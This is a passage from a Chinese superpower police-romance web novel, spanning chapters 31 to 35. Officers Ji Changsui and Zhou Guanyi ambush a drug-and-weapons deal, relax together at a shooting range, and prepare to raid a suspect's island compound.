不过雨总比暴晒闷热的天气要好些,季长岁微小的动作调整着自己身体的受力点,五个小时过去,身体僵硬,肌肉发酸。连野生动物都甚少外出的雨夜,待到山下农户熄灯后,这片荒林只有雨打枝桠的声音。 这声音在网上常常用来作为“哄睡”的背景音乐,这时候但凡意志力薄弱些眼一闭就睡了过去。 季长岁继续观察。 出现动静是第八小时。 探测仪非常轻微地震了一下,就那么一下,6个人全部立刻精神了起来,一激灵似的。 “来了。”季长岁说,“所有人待命。” 车灯光被雨幕弱化后像是夏季路灯下方聚集一团飞虫。 大约是因为缉毒大队的人在地理范围内靠近了他们,所以陶诚接收到了缉毒队员们的消息。一串代码暗号,陶诚立刻转述给队员们:“银灰色面包车,套牌,右后尾灯碎裂。车里一名司机五名乘客,三把MP7,一支榴弹发射器,两把常规步枪,一把前缀为‘X’的试验型步枪。” MP7冲锋枪,季长岁眯了眯眼,这把枪与大多数人熟知的P90同属单兵自卫武器。据说当年德国科赫研发它就是为了击穿现代防弹衣,高速小口径并具备钢芯穿甲结构的弹药意味着它在近距离的穿透力极强。 “毒贩和走私军火真是一家亲。”季长岁评价。 “嗯……”陶诚有点儿发怵,摸了摸自己胸口的防弹背心,“距离我们的坐标还有45分钟车程左右。” “明白了。”季长岁说,“所有人保持警惕。” 如果可以,季长岁非常希望这次抓捕过程中加兹拉尔会出现。 他头上一直有片阴云。 柯帆的死对桃榔市局的所有人而言都是意外,是恶作剧异能致使季长岁失去最基础的判断力,甚至包括柯帆自己在死前都没有怪罪过季长岁。 但很多事情就是这样,就像人们无法理解被低端骗术诱导,转出去全部身家,桃榔市局里有些人也无法理解季长岁。 都说了不是你的错。 是恶作剧这个异能太狡猾,你也是受害者。 但人的的确确是自己杀的。 甚至是徒手。 那片阴云后来在他头顶凝结发散,成了一个厚重的马戏团帐篷,帐篷中间打一束顶灯,下方是一个八角笼。他终有一天要把加兹拉尔从外面拉进来,拽进这个八角笼。 “35分钟后经过我坐标。”陶诚说。 “待命。”季长岁说。 说是35分钟,实则20分钟左右那辆面包车就出现在了准镜中。 陶诚紧接着又说:“警官,不对劲,从舫岛方向也来车了,目标车辆!” “这么快?”季长岁觉得蹊跷,“确定是目标车辆?” “确定,刚刚周部长进我们频道了,说明其他人正在向我们坐标靠近,我们——我靠?!” 那道震天巨响从风炉大道迸向四面八方的瞬间,像极了雨夜中的一声落雷。 在季长岁黑漆漆的眼瞳之中,暗色的世界中心燃起一团火焰。 那两辆车,一辆缉毒大队报了点的车,另一辆从舫岛开来,八成是毒品买家的车,以起码130公里每小时的速度相撞。 发动机起火产生的瞬间爆炸冲开雨幕,蒸发的雨珠腾起白雾,季长岁愣了。 不知为何,他下意识觉得这场爆炸是加兹拉尔的庆祝烟火,庆祝他自己的恶作剧又成功了一次,整了你们军警几个小时。 “不对!”季长岁抱狙蹲下,“开火!计划不变,B组抓捕,A组开火!!” 假的。 是恶作剧。 第32章 第32章“跟我一车回去吗?”…… “可、可是……”陶诚不解,但可是了两声后虽然不解但还是服从命令。 B组三个人是“疾”类异能,包含一切体能上的疾速,疾行也是其中之一。服从命令四个字几乎是军警的底层代码出厂设置,三名警员前后脚打完换弹,季长岁以及陶诚和盛沅三人齐齐驱动异能,接上他们换弹的火力持续射击爆炸地点。 “季警官!”盛沅是“自然”类系中的“电磁”,与沈浪差不多,“警官,还继续开火吗?” 盛沅扛着单发火箭炮,换弹需要时间:“那儿……那儿不是都炸了么?” 他问的也正是其他五个组员问的。 季长岁不多废话:“你听农户家的狗叫了吗?” “……啊。”盛沅恍然大悟。 农户家不止养了狗,这么突兀又连鸡鸭都没叫唤两声,甚至那几家农户都没有开灯起来看看这是什么动静。 季长岁蹙眉,幻象或障眼法通常有漏洞,这一点在异能者协会中一些老学究看来,是所谓“神的安全设定”。大概是说,如果幻境没有缺口去破除,那么理论上致幻异能者是无敌的。 但这次不太一样,季长岁并不认为他们处于幻境之中,是他们看见了幻境。 季长岁手里的高精狙从QBU-203改良而来,这个型号的高精狙在季长岁从前训练时期经常用,退弹接壳几乎已经形成了肌肉记忆。 那时候季长岁他们几个警员中流行一句话:扳机两道火,恶鬼不嫌多。 第一发子弹出去带着季长岁的机械异能,幽暗的蓝光包裹在千米每秒的北约弹上,像是射出去一团蓝色火焰,它冲破雨幕,撞开气流,那是普通人类无法捕捉的速度,季长岁冰冷的视线同步跟随它—— 带着高阶异能的子弹在冲向车祸范围的瞬间,果然空气中荡出些许波纹一般,高阶异能撞碎了幻境屏障。 “陶诚跟我冲过去,盛沅继续高位狙击掩护。”季长岁说。 “明白!” 幻境碎裂的时间是大约两秒半,B组“疾”类异能者已经抵达风炉大道中央,从四面八方包围过来的军警像是收拢的渔网。 幻境被击破后,毒贩和买家的车是车头抵着车头停在风炉大道中间,原本顺着幻境外壳流淌的雨重新落在那块地方。毒虫们被大雨浇了个激灵,他们反应同样迅速,并且因为是亡命之徒,枪械必定是枪弹结合关保险。 火力对拼时疯癫的那一方更恐怖些,因为疯子不在乎乱弹,打到自己人无所谓。 军警稳固保持开火的同时靠近,季长岁和陶诚跑过稻田以最快的速度加入火力压制,MP7的穿甲能力果然不同凡响,暴雨、枪声、动物的嗥叫。 季长岁手里经过改良的高精狙搭配了一个肩带,枪被他背去后肩,雨水打湿了脸上涂画的迷彩,之前有一些颜料淌进眼睛里,他揉过眼睛,迷彩在眼周晕开了两团。 机械沟通异能驱动下,季长岁后腰绑着的军用火焰/喷射/器在他指尖刚刚碰到塑料外壳的同时,自己如觉醒灵魂般仰起枪身滑向季长岁的手,与他动作同步地靠上他肩膀。 异能之下,季长岁不需要用手去按通讯器按钮:“军警闪避!喷焰器开火!” 大雨、烈焰、电磁爆炸。 正如此前季长岁听闻这弹药里加装了电磁颗粒时说的那样,雷火交加的喷焰器从发射口如同心脏泵血般喷涌出千度高温的,缠绕着冰蓝色电磁脉冲的火龙! 喷焰器的反震力悉数被季长岁极为变态的腰腿力量所吸收,他纹丝不动地站在那儿,炮塔一般,将这雨夜照得透亮。 在绝对的火力面前,无论什么异能都要下跪。 那是周观逸特意放在季长岁这组的新式武器,其实在武器分配决定的时候,周观逸就想到了这把喷焰器估计只有季长岁能够驾驭。 事实也确实如此。 活口留下一两个就行,押解那么多人警车倒也不够。 反正都是死刑,季长岁脚边躺着几个中弹的警员,生死未卜,他端着喷焰器一步步走近毒贩的面包车,弯腰拿走地上一个毒贩的MP7,以惊人的臂力和异能单手操纵喷焰器,另一只手拿MP7向车里、车周扫射。 “部长,车里没货!”有人在通讯器里喊。 局势控制住之后,一部分人处理伤员,另一部分收押活口。季长岁将打空的枪械背好,朝着毒贩车的后备箱走过去:“没货?” “嗯。”沈浪打着手电向里照,“全是枪,没货。” 季长岁纳闷之际,周观逸从另一边也走过来,两人迅速交换了个眼神。警察还是不太习惯脸上涂迷彩,尤其雨天,控制不住地抓挠一下揉一揉,周观逸脸上则仍是规整的迷彩条纹。 “怎么……”季长岁不可置信,他指尖滴着雨水,手掌朝车后档按下去,“不可能的,怎么会没货。” 然而机械沟通走遍这面包车的每个零配件,的确没有毒品。 他后退两步,摇摇头,从头盔和护具之中渗出的几缕头发甩下些水。很烦,他非常烦,最恨的就是这种情况,抓耳挠腮五脊六兽。 “周部长。”季长岁定了定神,走回车边,“缉毒大队的人呢?” “都在那边。”周观逸指了下路边,“他们在回溯数据,一路过来的监控和定位记录,不过我觉得……缉毒大队应该不会出错。” 季长岁松了松下巴扣着的头盔安全绳,他下巴那儿被磨出了几道血痕。巨大的挫败感一阵阵翻涌在胃里似的,搅动着他喝下去的能量饮料,放在平时行动收获有差池他不会这样,因为是加兹拉尔,又一次被他耍了,这种感觉让季长岁反胃反得厉害。 周观逸握住他手腕的时候,竟无端感觉到他皮肤下脉搏跳得像撞钟。 视线交错在雨中杂乱的光线里,季长岁感觉冷静了些,第一次见面也是这样,乱七八糟的一切,大雨,冰凉的手。 警灯纷乱的光穿梭在人们身上,缉毒警呵斥着毒虫,有个犯了毒瘾的在地上扭动。季长岁闭了闭眼,他知道自己必须冷静,理智必须要压制住这一切,因为他在意的并不是有没有货,而是有没有加兹拉尔。 他睁开眼,低头看向手腕:“如果一切都没问题,那么货不会凭空消失,部长。跟我来一下。” 雨点砸在地上溅起无数个小小的水花,两辆面包车在交火中被子弹穿成了马蜂窝,和枪战片里演的不一样,普通的车身车门根本扛不住步枪子弹,一发5.56mm能从车头穿进去车尾穿出来。 季长岁觉得有点热,莫名的,可能是兴奋,也可能是端着那火力骇人的喷焰器喷着活人看着毒贩在火力惨叫手脚乱蹬像跳大神致使他神经亢奋,总之他拽了下军装领口。 “怎么了?”周观逸问。 “区域净化一下。”季长岁的声音不太稳,“你、你通知一下大家,我有点儿混乱现在。” “行。” 周观逸按着对讲,重复两遍说“我们即将在三分钟后进行区域异能净化”。 大家需要提前预备一下,把毒贩捆好什么的。 “有点儿不知道怎么说……”季长岁先把喷焰器放下来,顺便问,“这是从你哪儿过来的吧,这个喷焰器,挺猛的…不是挺猛,是太猛了,而且保险有问题。” “是我挑给你的。”周观逸直言,“保险有问题?啊…抱歉,估计是送过来的路上磕着了。” “那保险都成快板了,不能只是‘磕着’了,最低也是被碾过。”季长岁看着他。 周观逸一笑。他笑的时候脸上的迷彩跟着扭开,季长岁没有觉得滑稽,因为一直盯着他眼睛。 意识到季长岁是真的在问,周观逸挠了挠后颈:“其实我也不太清楚,军区送过来的武器有时候磕碰也正常。” “保险还是要牢固一些。”季长岁说着,拍拍立在地上的喷焰器,“走火了的话是件麻烦事。” “明白了警官。”周观逸严肃回应。 季长岁看了眼时间,距离周观逸通知区域净化过去一分半钟,他继续拆下背后的高精狙,枪托抵在地面:“还是0.5秒。” “没问题。”周观逸手握上来,抓在季长岁的手上方一些,“无论净化后是什么结果,我们都接受,好吗?” 不管有没有货,应该说,不管现场有没有加兹拉尔。 周观逸知道他执念太深,如果现场真的没有货,那么就说明此行大概率又和加兹拉尔的重要线索失之交臂。 “好。”季长岁定定凝视他,像是承诺,“时间还长,总有一天抓他归案。” “开始吧。”周观逸说。 造价几十万的高精狙就这样为二人提供区域净化的媒介,范围比较小,速度很快,两道异能的冷光顺着枪杆刺入大地,以此地为圆心绽放开来—— 轰——!! 因为连带着异能残留,警车军车面包车统统原地蹦了一下。 净化速度非常快,两人睁开眼,环视一圈。其他人亦是跟着检查自己周身,什么变化都没有。 没有出现可能隐蔽起来的货,毒贩被胶带贴住的嘴里发出奸笑,堂而皇之地嘲讽着他们。 “天上!!”不知谁这么喊了一声。 小丑头形状的热气球在暗夜雨幕里慢悠悠地,诡异地飘着。 它被施加了“隐”类异能,被隐蔽在空气里,受大雨掩护……小丑的头颅下方吊着的正是管理局和缉毒大队留在港口仓库里做特请引诱的一箱毒粉。 它正在飘向舫岛。 季长岁拔出腿环枪套里的手枪,朝它开枪。小丑在半空炸开来。 “收工。”季长岁插枪转身走回周观逸旁边,“跟我一车回去吗?” “好。” 管理局办公楼里,韩瑞将窗户关上,拿抹布擦了擦窗台溅进来的雨水。 他办公桌后边坐着汪局长,电脑的荧光映在他的镜片上。汪局长摘下镜片揉揉眼睛:“不早了,下班吧。” 韩瑞点头笑笑:“邮件您发过去了?” “还没。”汪局长说,“还是要等加兹拉尔真的在昶州落网,现在还太早了。” “桃榔的杨局长可能会对我们很不满,如果说加兹拉尔的抓捕人是季长岁,说不准杨局长会要求把人带去桃榔,又或者为了避免转移罪犯过程中出岔子,他们桃榔市局的人过来昶州……哎。” “韩瑞啊。”汪局长向椅子里靠了靠,“你太急了,才这个岁数你急什么,异能者协会转移到昶州来,你还是要接受原会长来国内继续做会长这件事,不是吗?” 韩瑞一直希望将全球异能者协会中心归于昶州管理局,统管着全球的异能者,制定细密的律法,在每个季度,全球各地的异能者管理局进行线上会议,同步异能者的管理办法。 韩瑞的野性不小,这点汪局长知道。所以韩瑞才大费周章搞来了季长岁和周观逸,加兹拉尔是个机会。是天赐的机会。 一个从研究组织里逃出来的高危异能者,如果在昶州被捕,既证明协会的无能,研究组织管理不善,又展现出昶州管理局实力之强大。 但韩瑞太急了,不惜在线索不够充分的时候频频刺激季长岁,企图突破这位高阶异能者的……阈值。 “你给季长岁休假几天吧。”汪局长说,“杨断水追究起来事小,季长岁如果出问题,他的危险程度不比加兹拉尔低。这波毒贩抓住之后,你必须让所有人喘口气。” “不不不……”韩瑞用力地擦着窗台,“机会稍纵即逝,明天…好吧好吧,后天,后天派他们去舫岛,加兹拉尔说不定就在舫岛。” 第33章 第33章“你哄我呢警官?”…… 雨一直下到清晨才停。 周观逸被季长岁晃醒了。清晨雨停之后有鸟叫声,那时候周观逸已经醒了一次,去客厅找了点儿水喝又睡下了。季长岁把他晃醒之前其实他也稍微醒了一下,只不过察觉门口是季长岁在用异能开门的时候就又闭上眼继续睡。 他来就来吧,周观逸也是真的累,还想再多睡会儿。根本没有管季长岁进来是要做什么。 而季长岁进门之后站在玄关做了会儿心理建设,无论如何擅自进别人家门这事儿还是有违社会公德,不过婚姻关系很好地包容了这个行为。 “请问……”周观逸坐起来,被子滑到小腹位置,“请问机械异能者不需要睡眠吗?” “偶尔也睡一下。”季长岁说。 周观逸上半身没穿衣服,自己搓了搓脸然后笑了:“可是小何说过你以前很喜欢睡觉。” “不是,我是喜欢躺在床上并且不回复消息,为了避免解释自己为什么躺在床上既不睡觉又不回消息所以说自己在睡觉。何书清怎么什么都往外说。” 季长岁说完,看了眼床尾随便一放的T恤,拿过来递给他:“穿上,跟我走。” “不。”周观逸摇头,将被子朝上边拽了下,避开他视线。 “听话,桃榔的章警监过来了,还没到管理局,在昶州市局宿舍那边,带了不少新的冷兵器,过去看看。”季长岁继续把T恤往他怀里塞。 “我是说不穿这件。”周观逸说,“这是睡衣T恤。” “哦。”季长岁放下,转身走去他衣柜旁边,“要穿什么,我给你找,快点儿,下午一点整章警监就要带昶州警员训练了。” “第三层,有件浅绿色的……那是墨绿,警官,浅一点儿的…对,那件,谢谢。”周观逸赶在他关上衣柜门之前,“再拿条裤子,旁边那条蓝的……谢谢。” 季长岁没发现他还挺讲究搭配,遂低头看看自己黑上衣黑裤子。嗯没事,又不是去走秀。他把衣服裤子递给周观逸后很自觉地去客厅,也帮他带上了卧室门,去沙发坐下,给章警监发微信,问他们走没走。 因为昶州的军警两用靶场在郊区那儿,要是他们提前走了,季长岁就直接朝靶场去。 章警监回复过来的时候周观逸换好衣服出来了:“我洗漱一下。” “嗯。” 回复过来的消息上说他们还没过去靶场,章哥说要来快来,抓紧时间。 好的。季长岁抓着手机,紧迫地等待周观逸洗漱。 从他们住的公寓到昶州市局大约25分钟的车程,季长岁付掉车费后抓起周观逸手腕下车,直接跑着冲进去,一路畅通无阻,冲到他们点名的后院儿,直接拽着周观逸站到最后一队的队尾,接上报数。 “29!”季长岁喊。 “30!”周观逸接上。 章寅向他们看了一眼,一群穿制服的混进来俩常服,有点不爽地撇撇嘴,顺便瞪了眼季长岁。季长岁乖巧地眯起眼来跟他笑笑。 “走走走。”章寅说,“都上车。” 昶州的靶场是个巨大的训练场,更早的时候这儿是个高尔夫球场,后来维护不起了转给政府做训练靶场,到今天冷热武器测试,格斗训练都能用。 地势平坦空旷,风迎着人横扫。其他人都是制服,牢靠地挺着,他们俩的T恤被风吹得贴在腹部。 人站在开阔的场地时心情舒畅很多,季长岁转头看看他,说:“一大早喊你来就是干这个。” “加班?”周观逸笑着问。 “怎么能是加班呢。”季长岁说,“我问过韩瑞了,你在军队最开始拿的是复合弓。” 周观逸很意外,他先接过前面递过来的机械弓,拿在手里顺便掂了掂,很轻便。原想问他怎么想起来去打听这个,结果话到嘴边,一转弯:“杜绝盲婚哑嫁?” 季长岁手里拿了一样的复合弓,戒指和弓身在阳光下折了两道平行的光:“那肯定啊。” “还打听到什么了?” 大家依次排队等待前边的人射靶后站到射击线上,排队的周观逸跟着往前走,又问:“问到家庭条件没?” “那没有。”季长岁也跟着自己这一队列向前,“我对这方面不感兴趣。” “感兴趣的方面是……?”周观逸这组好像快一些,因为脱靶就直接走人。 “你啊。”季长岁的语气理所当然到带了些“这还用问吗”的态度,“到你了,部长。” 章寅在之前就告诉了这些警员,今天过来两个比较厉害的人物。 这阵子大家过得都挺压抑,一方面毒贩抓捕没有加兹拉尔的关键线索,另一方面管理局决定暂时辅助缉毒大队结案,来调整一下整个管理局的工作状态。 异能者只是相较于普通人有更强的体能和精神力,并不是永不疲累。季长岁想要带周观逸出来放松一下,不过他对这方面的意识比较贫瘠,想到的放松方式大概就是这样。 昶州市局制作的复合弓是基于目前市面上复合弓做了部分改良,减轻了重量也减小了体积,100磅的复合弓插在后腰带上后,从正面完全看不出此人背了把弓。 虽然周观逸这队脱靶的有点多,不用确认打靶圈数,最后两人还是同时踩在了射击线上。季长岁从前边箭筒拎出一根来,稍微活动了下肩膀,然后抬头看风。 因为他们俩是最后一组了,不用那么赶,其他人有序前往枪械射击区域。 周观逸见他在感受气流:“要这么认真吗?不是带我出来玩儿的吗?” “啊。”季长岁笑了,“我这个人胜负欲比较强。” “你的意思是比一比?”周观逸退后了几步,“那我肯定不如你呀,你天赋在这儿。” “少来啊。”季长岁跟着往后退,退到周观逸身后大概五、六步远,笑得有点坏,“来。” “少来什么来什么。”周观逸看着他,“再退两步。” “啊?”季长岁惊了,“我都退这儿来了,部长,你好歹也是军队出来的。” “我刚睡醒给你叫来的。”周观逸说。 “行吧。” 季长岁又退两步。 然后听见一声无奈的笑,他转头,是章寅看不下去了。季长岁的视力了得,他看见章寅朝他说了句话。听是听不见的,太远了,但嘴型能读出来,章寅说的是:你就惯着吧。 季长岁一耸肩,他退至七步远,站定。 然后和周观逸一起拉弓—— 两根箭矢破空而去,周观逸很久没拿过弓,这一箭出去手感不是非常好。但箭出去的瞬间他有一种被冲散的感觉,很轻松。 可能因为今天天气不错,可能因为靶场宽阔,也可能因为季长岁今天是带自己出来玩儿……好吧虽然这个“玩”的性质还是没有脱离工作范围,但可能已经是季长岁能想到的最好的了。 “怎么样?”周观逸回头,“我看不见那么远,警官。” “红心。”季长岁说。 “当然了。”周观逸歪了下头,“我是问深度,你知道的。” 两人的实力正中靶心是基础,周观逸想知道的是箭矢刺进靶子的深度。按理说同样磅数的复合弓应该是差不多的劲儿,但稍微一丁点的角度调整,让箭矢避开或在气流中走一个最好的路径,那么有时候可以做到磅数的最大化。 季长岁故意眯眼看了看两个靶子,说:“你进得比较深。” “真的?”周观逸换手拿弓,掏出手机来。 季长岁瞬息间猜到他是要打开手机摄像头放大自己看,忙不迭小跑上前、抽箭、射箭,在周观逸放大相机画面之前—— 咻!啪! 他把自己那根靶上的箭撞了下来,没有驱动异能,箭尖微抬,不是冲着靶心去,而是要它落点在前一根箭的箭身,把它打掉下去。 “有点儿太刻意了。”周观逸说,“这答案不是明摆了吗?” “不是啊。”季长岁放下弓,“这样你就不知道我究竟比你深多少了。” “靠!”周观逸笑了。 季长岁跟着笑。 其实是不可能的,两个人都知道,他们只是在瞎聊。或许季长岁的箭会比他的扎得更深些,但绝对不会太夸张。 周观逸又拿一根箭,季长岁没有拿,就这么看着他。 弓箭在当下军队行动中偶尔还是要使用,来应对一些特殊情况,比如雪山。季长岁得知前些年周观逸在雪山执行任务,箭袋里12根箭,他杀了11个目标。 当时季长岁在韩瑞办公室一挑眉,说:给他杀爽了吧。 周观逸又抽一根,转头看他:“你不玩儿了?” “玩儿啊。”季长岁也跟着拿箭。 然而下一箭季长岁走神了。别说箭扎了多深,连靶心都没射中,偏得像个新兵蛋子。周观逸哑然:“你哄我呢警官?” “……没没。”季长岁自己也呆了下,“真没有。” 周观逸看着他眼睛:“那今天出来是哄我呢吗?” “今天是。”季长岁点头,“哄你出来玩儿的,你前阵子不是也哄我呢吗,你这两天压力有点大,我知道的。” 军队必然也给了周观逸任务,虽然他不知道具体是什么。但最近几乎等同于一无所获的状态,周观逸头上也一直飘着阴云。 第34章 第34章有这句话就够了。 章寅是季长岁的领导,不过他没那种领导架子,否则今天也不能季长岁说要来就准他来,毕竟是练兵。 射箭打靶是一件让人必须全神贯注的事情,要抛掉杂念,眼和心都只看着靶。 而最近发生的种种事情确实让两个人都身心疲累,季长岁明白的,不仅是自己,周观逸也是焦虑。周观逸的焦虑并不像他,是外露的,甚至体现在了具体事件上。 虽说人们对机械异能者的刻板印象是“人机”季长岁本人也常因为情商低而不断加深这份印象,但季长岁终究是个大活人,一个心智较为成熟的成年人。通常情况,只要人比较在乎某件事情,静下心来深剖一下,多半是能够感受到的。 而事实上季长岁更多情况下是对他人情感比较漠视,或许说不在乎会更贴切也更有人情味。季长岁是真的把“尊重他人命运”铭记于心的人。尤其当对方是成年人,季长岁更不在乎了。 于是面前这位成年、男性、Alpha,在季长岁的观念里会回以“如果连这点情绪都处理不好那不然请个病假调理一下”这样被评价为冷漠的话。可以看出人就是这样双标,甚至周观逸隐而未现,他便急着把人从家里架出来玩儿。 静态靶打了一会儿后季长岁拉着他去打动态靶,动态靶的地方在警员们做格斗训练的场地侧面,那是个挺大的,有两个篮球场面积的大厅里,西侧了划了个小厅,做了模拟枪打动态靶,有点像游戏厅。 不过和游戏厅不一样的是这边要穿上肩颈头的传感设备,也就是绑几条贴着传感器的带子,同步枪械的重量和后坐力。 动态靶可以选择图标,匪徒或动物,也可以选择场景,银行大楼之类,以及添加人质。是个综合性比较强的模拟器,所以周观逸又问了一次:“真不是带我来加班的?” “……”好吧到这里季长岁觉得自己的情商确实堪忧,怎么就想着带他来这儿了呢,“真…真不是……” 周观逸转过去背对他:“看不见后脑勺,帮我按一下扣子。” “哦!”季长岁给他扣上。 “开玩笑的,我其实挺喜欢玩这些东西。”周观逸回头,“你不用我帮你吧。” “不、不用。” 这种按扣组件对他来讲别说反手扣在后脑勺了,再扭几道都手到擒来。 一分钟后季长岁明白了他所说的“挺喜欢玩”是指哪方面,他平静地看着周观逸设置了办公楼CQB场景,在活动范围为5-9楼的空间里设置了两头野猪,四头非洲狮,四个人质,九只大熊猫,十二个匪徒,其中四人持刀八人持枪,以及二十三只兔子、一个西瓜摊子和一个秩序异能者。 “……”季长岁在设备载入画面的时候问他,“一定要这么极端吗?” “这样不好玩吗?”周观逸反问他。 从设定上来讲,野猪皮厚,移速快、冲击力强,非洲狮和大熊猫是保护动物,目前的律法有写明在极端情况下如误杀保护动物有一些相应条款,但问题是周观逸还添加了一个秩序异能者。 这就让整个场面非常复杂。 他们如果射杀了保护动物,秩序异能者会非常难受,如果射杀兔子,一只减一分,如果打烂了西瓜摊——也不知道为什么,这种平民的小摊贩在模拟器里的积分非常高,以及秩序异能者会崩溃。 “好吧。”季长岁认了,戴上耳机拿起步□□型,“喜欢玩就陪你玩。” 周观逸也戴上设备:“怎么今天这么有良心?” “我不是你老公吗。”季长岁对着屏幕举枪。 周观逸笑了笑。他不想问这话是什么意思,有这句话就够了。 这些天总是阴沉沉的,分明还没到沿海城市的雨季,最近雨水多得让人烦躁,季长岁不喜欢太多超出规律外的事件。天气也一样,只不过这次他搞不清楚这阵烦躁是不遵循规律的雨还是因为别的什么。 最后他跟周观逸打模拟器的评分是双方一个-55分另一个-61分,因为程序出了点bug,兔子死一个刷出来一堆。 “要兔子吗?”季长岁问。 “什么兔子?”周观逸一转头,季长岁弯着腰看娃娃机里的毛绒玩具。 因为忽然下雨,他们跟章寅告辞之后先走了,附近有个商场,决定进来找点吃的。季长岁指指抓娃娃机:“像不像上午那个兔子?” 中午没吃饭,这会儿三点多,周观逸饿得讲话都累:“我看不清。” “那你凑近点儿来,你过来……” “因为我饿得眼晕。”周观逸说。 “哦。”季长岁迅速跑过来,“走走走去吃饭。” 韩瑞极度反常地给他们放了三天假。 季长岁有理由怀疑韩瑞遭到了领导层的施压,因为抓回来的毒贩都审出了东西,加上其中几个有可能刑期不会太久的毒瘾发作死在了局里,也算大快人心。 审讯结果这些天里何书清悉数转发给了季长岁,季长岁睡前刷牙的时候拿着手机在翻看。 季长岁非常信赖以及欣赏昶州管理局的审讯方式,在桃榔就比较束手束脚,这也不行那也不准,有时候他都搞不懂谁才是罪犯,怎么法律只在约束我一个人。这边就比较……相对自由。审讯结果是统一的,所有毒贩分开分时以车轮方式审讯,最后都指向一个终点。 舫岛是个不适合发展旅游业的岛屿,那里是礁石海滩和悬崖,岛上很多山,没几处平坦的地方。 近些年随着许多渔民进城务工,岛上更是荒凉。不过也是近些年,大约近两年的事情,舫岛上住了几户极其富贵的人家,因为海岸偶尔有游艇停在那儿。 从何书清发来的咨询上来看,住在舫岛的几户人家,都是目前股市板块中藏在财报背后的人。季长岁不清楚警方拿到的资料中有没有什么春秋笔法或被篡改,但其中有个名字属实吸引了他的注意力。 此人名叫唐枯木,这不是个容易忘记的名字,“枯木”是他本人后来自己改的名字。据说是唐枯木在做生意之初屡屡碰壁,倒霉得像被人下咒了,找大师一算,说要找个地方存着这些凶,遂改了名字。 不过这名字还是有些私心,枯木后边是逢春。 季长岁吐掉牙膏沫儿,漱口,牙刷放回架子上。 唐枯木此人64岁,男性Beta,季长岁关掉卧室灯,躺上床。 重名的可能性不大,再加上年纪性别都一样,那么几乎可以确定这个唐枯木,就是他老师柯帆的外公。 从毒贩们的审讯结果来看,此次从港口仓库偷出毒品,带着毒品躲藏后联络买家,约定交易地点,以及毒资,都是唐枯木一手包办。排除特定陷害的可能,那么可以基本确定唐枯木和加兹拉尔之间有一定关系。 季长岁闭上眼睛,迫使自己入睡。 机械异能则对睡眠的需求程度并不高,他们确实在某些方面很像机器——让他们保持沉默停止思考就是一次类睡眠的修复。 天还是阴的,不过陶诚说今天不会下雨了,气象局给了非常笃定的回复。 出发前往舫岛之前他们跟韩瑞开了个会,制定的计划很简单,去岛上把唐枯木抓回来审。季长岁四下看了看坐在这儿参与抓捕的40多个警员,再抬头看看屏幕上的武器和弹药表格。 “那个。”季长岁抬手,“抓捕一个64岁无异能者Beta,我们需要这么大阵仗吗?” “我还没说完。”韩瑞啜了口茶水,他有点出汗,“唐枯木住在舫岛凌君山丛荔大道1号,那是个院子,高空俯瞰图来看是一座比较常规的,中西式结合的庭院。他常住的地方在院子东南方向,一个独立的,两层楼的建筑,余下的30多个房间,住满了……格斗型异能者,都是他的保镖。” 季长岁很小幅度地抬了抬眉毛:“不好意思,他都这样了他在岛上建国算了,贩什么毒呢?是个人爱好吗?” 韩瑞汗颜:“会议全程录像录音的。” “……好。”季长岁闭嘴了。 周观逸就坐在他正对面,无语地看了他一眼,说:“韩局,你的意思是唐枯木拒捕的可能性很大是不是?” “我们怀疑他会反击,这个人……审讯记录太长了,你们俩休假的时候没有叫你们过来看。我简单说一下吧,我们一共抓回来14名毒贩,其中3人毒瘾死亡,余下的所有人,在审出‘唐枯木’这个名字之前,他们一直叫他‘父亲’。” 季长岁抬起眼。 唐枯木是柯帆的外公这件事在桃榔并不是秘密,因为柯帆是唐枯木的大女儿背弃家族联姻,在外与当时的男友未婚先孕生下他。在柯帆的成长过程中,几乎没有见过唐枯木几面。 “父亲”是个很有说法的称谓,在很多场景中都适用。神父、教父,甚至有些地方称“神”本体为“父亲”。 周观逸和他交换了个眼神,转而问韩瑞:“什么意义上的‘父亲’?不太可能是亲缘吧?” 韩瑞:“我个人倾向于神父,那种……那种痴狂的眼神实在是发邪,你们不知道,有个毒贩在审的时候犯了毒瘾,但提到‘父亲’,脸色都正常了。” “给他在戒毒所找个班上吧。”季长岁说。 “录着呢!”韩瑞呵斥。 第35章 第35章整个二楼静得诡异 天气还是不太好。 从风炉大道尽头的码头上船,直升机原地待命以备支援。人们有序登船,两个登船口,季长岁抱枪站一个,周观逸站另一个。 他们两人是长官,最后登船。 抱着的枪是加装消音器、冷锻碳钢枪管的HK416,同样是改良款,短行程活塞设计有效减少了枪身抖动,提高射击精准性。其他战术附件也是最大程度地做了轻量化,所有人军装、凯夫拉防弹衣、防毒面具、战术腰带、微型无线通讯器。 为避免太过招眼,所有人分开乘坐四艘渔船。渔船上的喇叭里播着音质很差的机械录音:“穿好救生衣,佩戴定位器,枪弹结合,关保险。” 电流音混入码头的风中,空气湿润而闷热,行动人员们全副武装只露一双眼睛。季长岁和周观逸最后登船,一前一后。 最后一次机械音播报结束后,渔船开始向着舫岛航行。 说是渔船,只是用了渔船的外形,它的内部柴油发动机动力还是非常猛。从码头到舫岛靠岸大约要90分钟,这段时间里行动人员们在船舱里保存体力,很闷热,加上不太透气的军装和防弹衣,其实人很难受。 季长岁看向对面坐着的周观逸,因为空间不太大,船舱里原本左右两条长椅之间又加了一条长椅,呈“川”字在船舱中。所以有两排人不得不膝盖抵着膝盖。所以季长岁的顺序是从自己的膝盖到他的膝盖,再顺着大腿面儿、腹部、胸膛、覆面、眼睛。 周观逸的眼睛在Alpha之中是比较少见的温柔类型,眼神在非战斗状态下也是很柔和,甚至可以说有点呆。 周观逸用嘴型问:怎么了? 季长岁回神,慌乱短促地摇头表示没怎么。 周观逸没追问,只笑了下。 舫岛的气温低、风大。船靠在舫岛西侧的一个废弃码头,码头附近的海岸搁浅着几艘渔船,它们有的模板式赫然有一掌宽的裂痕。 “季警官!”白珊宇挥挥手,“我们刚刚分好组了,四人一组,隐蔽包围,夜晚突袭。” “好。”季长岁点头,“保持每三十分钟检查一次通讯。” “收到,三十分钟一次RadioCheck。”白珊宇说。 跟白珊宇交待完,他侧过视线:“部长,你跟我一人带一组突击。” 周观逸摸了摸后腰斜插着的复合弓,说:“我们同组吧。” “不不不,这样拆火了,我们……”季长岁说一半,改变主意了,“……同组是对的。” “同组才是‘集火’。”周观逸说。 “好,出发。” 最后那“出发”两个字季长岁是按着通讯器说的。 全体行动人员按组保持着集合且分散的极限分割距离深入丛林,舫岛多山,山林茂密。唐枯木所居住的丛荔道一号位于凌君山上,这是一次双方都心知肚明的袭击和反击。 